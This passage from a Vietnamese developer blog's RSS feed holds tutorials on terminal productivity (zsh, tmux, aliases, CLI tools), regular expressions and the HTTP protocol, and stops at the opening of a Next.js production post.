  zsh-autosuggestions # Gợi ý lệnh từ history
  zsh-syntax-highlighting # Tô màu lệnh
  docker # Docker completion
  npm # Npm completion
  history # Tìm kiếm history
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Fish — User-Friendly&lt;/h3&gt;
&lt;p&gt;Fish có syntax highlighting, autosuggestion, và web config ngay từ đầu:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Cài Fish
brew install fish

# Mở web config
fish_config

# Prompt đẹp
fisher install matchai/spacefish
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;tmux — Terminal Multiplexer&lt;/h2&gt;
&lt;p&gt;tmux cho phép nhiều terminal trong một cửa sổ, session tồn tại cả khi mất kết nối SSH.&lt;/p&gt;
&lt;h3&gt;Basic Commands&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Session
tmux new -s myproject # Tạo session mới
tmux ls # List session
tmux attach -t myproject # Attach vào session
tmux kill-session -t myproject

# Trong tmux (prefix: Ctrl+b)
Ctrl+b % # Split vertical
Ctrl+b &quot;       # Split horizontal
Ctrl+b arrow # Di chuyển giữa các pane
Ctrl+b c # New window
Ctrl+b n/p # Window tiếp/trước
Ctrl+b d # Detach (session vẫn chạy)
Ctrl+b [ # Scroll mode
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cấu Hình (~/.tmux.conf)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Mouse support
set -g mouse on

# Tăng history
set -g history-limit 50000

# Prefix đổi thành Ctrl+a (dễ với tay)
set -g prefix C-a

# 256 color
set -g default-terminal &quot;screen-256color&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Alias — Tiết Kiệm Gõ Phím&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Git
alias gs=&quot;git status&quot;
alias gc=&quot;git commit&quot;
alias gp=&quot;git push&quot;
alias gco=&quot;git checkout&quot;
alias gl=&quot;git log --oneline --graph --decorate&quot;

# Navigation
alias ..=&quot;cd ..&quot;
alias ...=&quot;cd ../..&quot;
alias ~=&quot;cd ~&quot;

# Docker
alias dps=&quot;docker ps&quot;
alias dcd=&quot;docker compose down&quot;
alias dcu=&quot;docker compose up -d&quot;

# List
alias ll=&quot;ls -lah&quot;
alias la=&quot;ls -A&quot;
alias tree=&quot;find . -maxdepth 2 -type d | sort&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;History Tricks&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Tìm kiếm history
Ctrl+r # Search history (fuzzy)
history | grep docker

# Chạy lại lệnh
!! # Lệnh cuối
!$ # Tham số cuối của lệnh trước
!docker # Lệnh docker gần nhất
!100 # Chạy lệnh số 100 trong history

# Sửa lệnh trước
^old^new # Thay thế
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CLI Tools Siêu Hữu Ích&lt;/h2&gt;
&lt;h3&gt;File &amp;#x26; Navigation&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# fd — thay thế find (nhanh hơn)
fd &quot;*.ts&quot; # Tìm file .ts
fd -e md -x wc -l # Tìm .md và chạy wc

# bat — thay thế cat (có syntax highlight)
bat file.ts # Xem file với highlight
bat -n file.ts # Hiện số dòng

# ripgrep (rg) — thay thế grep (siêu nhanh)
rg &quot;function&quot; --type ts
rg &quot;TODO&quot; --glob &apos;!node_modules&apos;

# eza — thay thế ls (đẹp hơn)
eza -la --icons
eza --tree # Tree view

# zoxide — cd thông minh (học thói quen)
z myproject # Nhảy đến project
z blog # cd đến ~/w/dopana/blog
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Process &amp;#x26; System&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# htop — thay thế top
htop

# duf — thay thế df
duf

# procs — thay thế ps
procs

# bottom (btm) — thay thế htop + nhiều hơn
btm
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Network&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# httpie — thay thế curl cho API
http GET https://api.example.com/users
http POST https://api.example.com/users name=Alice

# ngrok — tunnel localhost ra internet
ngrok http 3000

# dog — thay thế dig
dog example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;JSON&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# jq — xử lý JSON trong terminal
cat data.json | jq &apos;.users[] | {name, email}&apos;
curl api.example.com/users | jq &apos;.[0:3]&apos;

# fx — JSON viewer tương tác
curl api.example.com/users | fx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;FZF — Fuzzy Finder&lt;/h2&gt;
&lt;p&gt;FZF cho phép tìm kiếm mờ trong terminal:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Cài
brew install fzf

# Tìm file và mở
vim $(fzf)

# Git branch switcher
gco $(git branch | fzf | tr -d &apos; *&apos;)

# Docker container kill
docker stop $(docker ps | fzf | awk &apos;{print $1}&apos;)

# History search
history | fzf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Keybindings Custom&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# VS Code style trong terminal
bindkey &quot;^P&quot; history-search-backward
bindkey &quot;^N&quot; history-search-forward
bindkey &quot;^A&quot; beginning-of-line
bindkey &quot;^E&quot; end-of-line
bindkey &quot;^K&quot; kill-line
bindkey &quot;^U&quot; kill-whole-line
bindkey &quot;^W&quot; backward-kill-word
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Workflow — Terminal IDE&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;tmux session &quot;myproject&quot;
├── Window 1: Editor (Neovim)
│   ├── Pane 1: Code
│   └── Pane 2: Terminal
├── Window 2: Server
│   └── Pane 1: npm run dev
└── Window 3: Git
    └── Pane 1: git log, git status
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cài Đặt Nhanh&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# macOS
brew install \
  tmux \
  fzf \
  fd \
  ripgrep \
  bat \
  eza \
  zoxide \
  httpie \
  jq \
  htop

# Oh My Zsh
sh -c &quot;$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&quot;

# Fish
brew install fish
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Terminal productivity là đầu tư một lần — lợi ích mỗi ngày. Bắt đầu với:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Oh My Zsh + plugins autosuggestions + syntax-highlighting&lt;/li&gt;
&lt;li&gt;tmux cho session management&lt;/li&gt;
&lt;li&gt;Alias cho git và docker&lt;/li&gt;
&lt;li&gt;fzf cho fuzzy finding&lt;/li&gt;
&lt;li&gt;fd + rg + bat — thay thế find/grep/cat&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ohmyz.sh&quot;&gt;Oh My Zsh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tmux/tmux/wiki&quot;&gt;tmux Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fishshell.com/docs/current/&quot;&gt;Fish Shell Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/junegunn/fzf&quot;&gt;FZF GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/BurntSushi/ripgrep&quot;&gt;ripgrep GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sharkdp/bat&quot;&gt;bat GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Regex Cho Developer — Từ Cơ Bản Đến Thực Chiến</title><link>https://dopana-blog.pages.dev/blog/regex-guide</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/regex-guide</guid><description>Regular expression cho lập trình viên: pattern cơ bản, ví dụ thực tế, và các mẹo debug regex hiệu quả.</description><pubDate>Thu, 16 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Regex (Regular Expression) là pattern để tìm kiếm và thao tác với chuỗi. Khó học lần đầu — nhưng một khi hiểu, bạn tiết kiệm hàng giờ xử lý text thủ công.&lt;/p&gt;
&lt;h2&gt;Cơ Bản — Các Pattern Thường Dùng&lt;/h2&gt;
&lt;h3&gt;Literal Characters&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;/hello/      → Tìm &quot;hello&quot;
/hello123/   → Tìm &quot;hello123&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Meta Characters&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;.   → Bất kỳ ký tự nào (trừ newline)
\d  → Digit (0-9)
\w  → Word character (a-z, A-Z, 0-9, _)
\s  → Whitespace (space, tab, newline)
\b  → Word boundary
^   → Đầu chuỗi
$   → Cuối chuỗi
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Quantifiers&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;*   → 0 hoặc nhiều lần
+   → 1 hoặc nhiều lần
?   → 0 hoặc 1 lần
{3} → Đúng 3 lần
{2,4} → 2 đến 4 lần
{2,} → Ít nhất 2 lần
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Character Classes&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;[abc]     → a, b, hoặc c
[a-z]     → a đến z
[^abc]    → Không phải a, b, c
[0-9]     → 0 đến 9
[a-zA-Z]  → a-z hoặc A-Z
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ví Dụ Thực Tế&lt;/h2&gt;
&lt;h3&gt;Validate Email&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;/^[^\s@]+@[^\s@]+\.[^\s@]+$/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;function isValidEmail(email: string): boolean {
  return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Giải thích:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;^&lt;/code&gt; — đầu chuỗi&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[^\s@]+&lt;/code&gt; — 1+ ký tự không phải space hoặc @&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@&lt;/code&gt; — literal @&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[^\s@]+&lt;/code&gt; — domain name&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\.&lt;/code&gt; — literal dấu chấm&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[^\s@]+&lt;/code&gt; — TLD&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$&lt;/code&gt; — cuối chuỗi&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Trích Xuất URL&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;/https?:\/\/[^\s]+/g
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;function extractUrls(text: string): string[] {
  return text.match(/https?:\/\/[^\s]+/g) || [];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Validate Số Điện Thoại Việt Nam&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;/(84|0)[3|5|7|8|9]\d{8}/
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(84|0)&lt;/code&gt; — đầu 84 hoặc 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[3|5|7|8|9]&lt;/code&gt; — nhà mạng&lt;/li&gt;
&lt;li&gt;&lt;code&gt;\d{8}&lt;/code&gt; — 8 số&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tìm Password Mạnh&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[!@#$%^&amp;#x26;*]).{8,}$/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lookahead assertions &lt;code&gt;(?=...)&lt;/code&gt; — kiểm tra có chứa:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(?=.*[a-z])&lt;/code&gt; — có chữ thường&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(?=.*[A-Z])&lt;/code&gt; — có chữ hoa&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(?=.*\d)&lt;/code&gt; — có số&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(?=.*[!@#$%^&amp;#x26;*])&lt;/code&gt; — có ký tự đặc biệt&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.{8,}&lt;/code&gt; — ít nhất 8 ký tự&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Format Số Điện Thoại&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// 0987654321 → 0987 654 321
const phone = &apos;0987654321&apos;;
const formatted = phone.replace(/(\d{4})(\d{3})(\d{3})/, &apos;$1 $2 $3&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Trim Whitespace&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Thay vì .trim()
const trimmed = text.replace(/^\s+|\s+$/g, &apos;&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Extract Hashtag&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;function extractHashtags(text: string): string[] {
  return text.match(/#\w+/g)?.map(t =&gt; t.slice(1)) || [];
}
// &quot;Hello #world #regex&quot; → [&quot;world&quot;, &quot;regex&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Slugify&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;function slugify(text: string): string {
  return text
    .toLowerCase()
    .replace(/[^\w\s-]/g, &apos;&apos;)  // Xoá ký tự đặc biệt
    .replace(/[\s_]+/g, &apos;-&apos;)   // Space → dash
    .replace(/^-+|-+$/g, &apos;&apos;);  // Xoá dash đầu cuối
}
// &quot;Hello World!&quot; → &quot;hello-world&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Regex Trong VS Code&lt;/h2&gt;
&lt;p&gt;Tìm kiếm nâng cao với regex:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Tìm:     function\s+(\w+)\s*\(
Thay:    export function $1(
→ Thêm export vào tất cả function

Tìm:     console\.log\(.*\);
Thay:    (xóa)
→ Xoá toàn bộ console.log
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Regex Flag&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;/g  → Global — tìm tất cả, không chỉ kết quả đầu
/i  → Case insensitive — không phân biệt hoa thường
/m  → Multiline — ^$ match từng dòng
/s  → Dotall — . match cả newline
/u  → Unicode — hỗ trợ unicode
/y  → Sticky — match từ vị trí lastIndex
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Performance — Đừng Viết Regex Quá Tệ&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-regex&quot;&gt;// ❌ Tệ — catastrophic backtracking
/&amp;#x3C;([A-Z]+)&gt;.*&amp;#x3C;\/\1&gt;/

// ✅ Tốt — atomic group / possessive quantifier
/&amp;#x3C;([A-Z]+)&gt;[^&amp;#x3C;]*&amp;#x3C;\/\1&gt;/

// Tránh nested quantifiers: (a+)+, (a|b)*, ...
// Chúng có thể gây backtracking mất hàng phút
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Debug Regex&lt;/h2&gt;
&lt;p&gt;Công cụ online:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;regex101.com — giải thích từng token, test online&lt;/li&gt;
&lt;li&gt;regexr.com — cheatsheet, test&lt;/li&gt;
&lt;li&gt;debuggex.com — trực quan hoá dưới dạng sơ đồ&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Cheatsheet Nhanh&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;.     Bất kỳ ký tự
^     Đầu chuỗi
$     Cuối chuỗi
*     0+ lần
+     1+ lần
?     0 hoặc 1
{n}   n lần
[]    Set ký tự
[^]   Phủ định set
()    Capture group
(?:)  Non-capturing group
(?=)  Lookahead
(?!)  Negative lookahead
|     OR
\     Escape
\d    Digit
\w    Word char
\s    Whitespace
\b    Word boundary
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Regex không cần nhớ hết — chỉ cần nhớ các pattern cơ bản và biết cách tra cứu. Luôn dùng regex101.com để test. Performance quan trọng — tránh backtracking với chuỗi dài. Bắt đầu với 5 pattern: email, URL, số điện thoại, trim whitespace, extract.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://regex101.com&quot;&gt;regex101 — Online Regex Tester&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions&quot;&gt;MDN Regular Expressions Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.regular-expressions.info&quot;&gt;Regular-Expressions.info&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://regexr.com&quot;&gt;RegExr — Interactive Regex Tool&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.oreilly.com/library/view/mastering-regular-expressions/0596528124/&quot;&gt;Mastering Regular Expressions Book&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>HTTP Protocol — Từ URL Đến Request/Response Chi Tiết</title><link>https://dopana-blog.pages.dev/blog/http-protocol</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/http-protocol</guid><description>Hiểu giao thức HTTP: request/response structure, methods, status codes, headers, caching và HTTP/2, HTTP/3.</description><pubDate>Wed, 15 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HTTP là nền tảng của web. Mỗi lần bạn mở trình duyệt, hàng trăm HTTP request được gửi đi. Hiểu HTTP giúp bạn debug, optimize và security tốt hơn.&lt;/p&gt;
&lt;h2&gt;HTTP Request — Client Gửi Lên&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /api/users HTTP/1.1
Host: api.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
User-Agent: Mozilla/5.0
Accept: application/json
Content-Length: 42

{&quot;name&quot;:&quot;Alice&quot;,&quot;email&quot;:&quot;alice@example.com&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cấu trúc:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Request line: &lt;code&gt;METHOD /path HTTP/version&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Headers: key-value pairs&lt;/li&gt;
&lt;li&gt;Body: (optional) data gửi lên&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;HTTP Response — Server Trả Về&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;HTTP/1.1 201 Created
Content-Type: application/json
Location: /api/users/123
Cache-Control: no-cache
Set-Cookie: session=abc123; HttpOnly; Secure

{&quot;id&quot;:123,&quot;name&quot;:&quot;Alice&quot;,&quot;email&quot;:&quot;alice@example.com&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cấu trúc:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Status line: &lt;code&gt;HTTP/version statusCode statusText&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Headers&lt;/li&gt;
&lt;li&gt;Body&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;HTTP Methods&lt;/h2&gt;
&lt;p&gt;| Method | Mục đích | Idempotent | Body |
|---|---|---|---|
| GET | Lấy dữ liệu | ✅ | ❌ |
| POST | Tạo mới | ❌ | ✅ |
| PUT | Thay thế toàn bộ | ✅ | ✅ |
| PATCH | Cập nhật một phần | ❌ | ✅ |
| DELETE | Xoá | ✅ | Có thể có |
| HEAD | Giống GET nhưng không body | ✅ | ❌ |
| OPTIONS | Hỏi server hỗ trợ method nào | ✅ | ❌ |&lt;/p&gt;
&lt;p&gt;Idempotent: Gọi N lần giống gọi 1 lần.&lt;/p&gt;
&lt;h2&gt;HTTP Status Codes&lt;/h2&gt;
&lt;h3&gt;2xx — Success&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;200 OK — Thành công
201 Created — Tạo resource thành công
204 No Content — Thành công, không trả về gì
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3xx — Redirect&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;301 Moved Permanently — Đổi URL vĩnh viễn
302 Found — Đổi URL tạm thời
304 Not Modified — Dùng cache (ETag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4xx — Client Error&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;400 Bad Request — Request sai format
401 Unauthorized — Chưa đăng nhập
403 Forbidden — Không có quyền
404 Not Found — Resource không tồn tại
409 Conflict — Xung đột (trùng email)
422 Unprocessable Entity — Validation lỗi
429 Too Many Requests — Rate limit
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5xx — Server Error&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;500 Internal Server Error — Lỗi không xác định
502 Bad Gateway — Upstream trả lỗi
503 Service Unavailable — Quá tải hoặc bảo trì
504 Gateway Timeout — Upstream timeout
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP Headers Quan Trọng&lt;/h2&gt;
&lt;h3&gt;Request Headers&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Host: api.example.com           // Bắt buộc HTTP/1.1
User-Agent: Mozilla/5.0         // Trình duyệt
Accept: application/json        // Định dạng muốn nhận
Accept-Encoding: gzip, br       // Nén
Authorization: Bearer &amp;#x3C;token&gt;   // Auth
Cookie: session=abc123          // Cookie
Content-Type: application/json  // Định dạng body
Content-Length: 42              // Kích thước body
Referer: https://example.com    // Trang trước
Origin: https://example.com     // Origin request
Cache-Control: no-cache         // Cache policy
If-None-Match: &quot;etag-value&quot;     // Conditional request
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Response Headers&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Content-Type: application/json; charset=utf-8
Content-Length: 123
Cache-Control: public, max-age=3600
ETag: &quot;abc123&quot;                  // Version identifier
Set-Cookie: session=abc; HttpOnly; Secure
Access-Control-Allow-Origin: *
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP Caching — Speed Up Website&lt;/h2&gt;
&lt;h3&gt;ETag — So Sánh Phiên Bản&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;# Request 1
GET /profile HTTP/1.1

# Response 1
HTTP/1.1 200 OK
ETag: &quot;v2&quot;
Content: { name: &quot;Alice&quot; }

# Request 2 — gửi ETag
GET /profile HTTP/1.1
If-None-Match: &quot;v2&quot;

# Response 2 — nếu không thay đổi
HTTP/1.1 304 Not Modified
# Không body! Dùng cache cũ
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cache-Control&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;# Static assets — cache lâu
Cache-Control: public, max-age=31536000, immutable

# HTML — không cache
Cache-Control: no-cache, no-store, must-revalidate

# API response — cache 5 phút
Cache-Control: private, max-age=300
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;HTTP/2 — Multiplexing&lt;/h2&gt;
&lt;p&gt;HTTP/1.1 gửi request tuần tự trên một connection. HTTP/2 gửi song song:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1: [Request1] [Response1] [Request2] [Response2]
HTTP/2:   [Request1, Request2, Request3...]
           [Response1, Response2, Response3...] (cùng lúc)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lợi ích: Không cần domain sharding, không concatenate files, server push.&lt;/p&gt;
&lt;h2&gt;HTTP/3 — QUIC (UDP)&lt;/h2&gt;
&lt;p&gt;HTTP/3 dùng QUIC thay vì TCP:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0-RTT — kết nối ngay, không cần handshake&lt;/li&gt;
&lt;li&gt;Không head-of-line blocking — mất 1 packet không block toàn bộ&lt;/li&gt;
&lt;li&gt;Built-in encryption — TLS 1.3 mặc định&lt;/li&gt;
&lt;li&gt;Tốt hơn trên mobile — chuyển mạng không mất kết nối&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;HTTPS — HTTP + TLS&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;HTTP:  http://example.com — port 80 — plain text
HTTPS: https://example.com — port 443 — encrypted (TLS)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;HTTPS không thể thiếu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Chống man-in-the-middle&lt;/li&gt;
&lt;li&gt;Chống nghe lén&lt;/li&gt;
&lt;li&gt;SEO (Google ưu tiên HTTPS)&lt;/li&gt;
&lt;li&gt;Bắt buộc cho HTTP/2&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Debug HTTP&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Curl
curl -v https://api.example.com/users # Verbose — thấy headers
curl -I https://example.com # Chỉ headers
curl -X POST https://api.example.com/users \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;name&quot;:&quot;Alice&quot;}&apos;

# HTTPie — đẹp hơn curl
http GET https://api.example.com/users
http POST https://api.example.com/users name=Alice

# Browser DevTools &gt; Network tab
# Status, Headers, Timing, Response
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;HTTP đơn giản nhưng mạnh mẽ. Nắm vững:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Methods — GET, POST, PUT, DELETE, PATCH&lt;/li&gt;
&lt;li&gt;Status codes — 200, 201, 204, 304, 400, 401, 403, 404, 500&lt;/li&gt;
&lt;li&gt;Headers — Cache-Control, ETag, Content-Type, Authorization&lt;/li&gt;
&lt;li&gt;HTTPS — luôn dùng&lt;/li&gt;
&lt;li&gt;HTTP/2 — mặc định trên server hiện đại&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP&quot;&gt;MDN HTTP Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://httpwg.org/specs/rfc7540.html&quot;&gt;HTTP/2 Specification (RFC 7540)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://httpwg.org/http-core/&quot;&gt;HTTP/3 Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching&quot;&gt;MDN HTTP Caching Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Transport_Layer_Security&quot;&gt;HTTPS (TLS) Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Next.js Production — Từ Dev Đến Triển Khai Thực Tế</title><link>https://dopana-blog.pages.dev/blog/nextjs-production</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/nextjs-production</guid><description>Next.js best practices cho production: App Router, server actions, caching, ISR, middleware và tối ưu performance.</description><pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Next.js là React framework phổ biến nhất cho production. App Router (2023) thay đổi cách tổ chức code hoàn toàn.&lt;/p&gt;
&lt;h2&gt;App Router vs Pages Router&lt;/h2&gt;
&lt;p&gt;| Pages Router | App Router |
|---|---|
| File-based routing | File-based routing + layout |
| &lt;code&gt;_app.tsx&lt;/code&gt; global | &lt;code&gt;layout.tsx&lt;/code&gt; per segment |
| &lt;code&gt;getServerSideProps&lt;/code&gt; | Server Components (mặc định) |
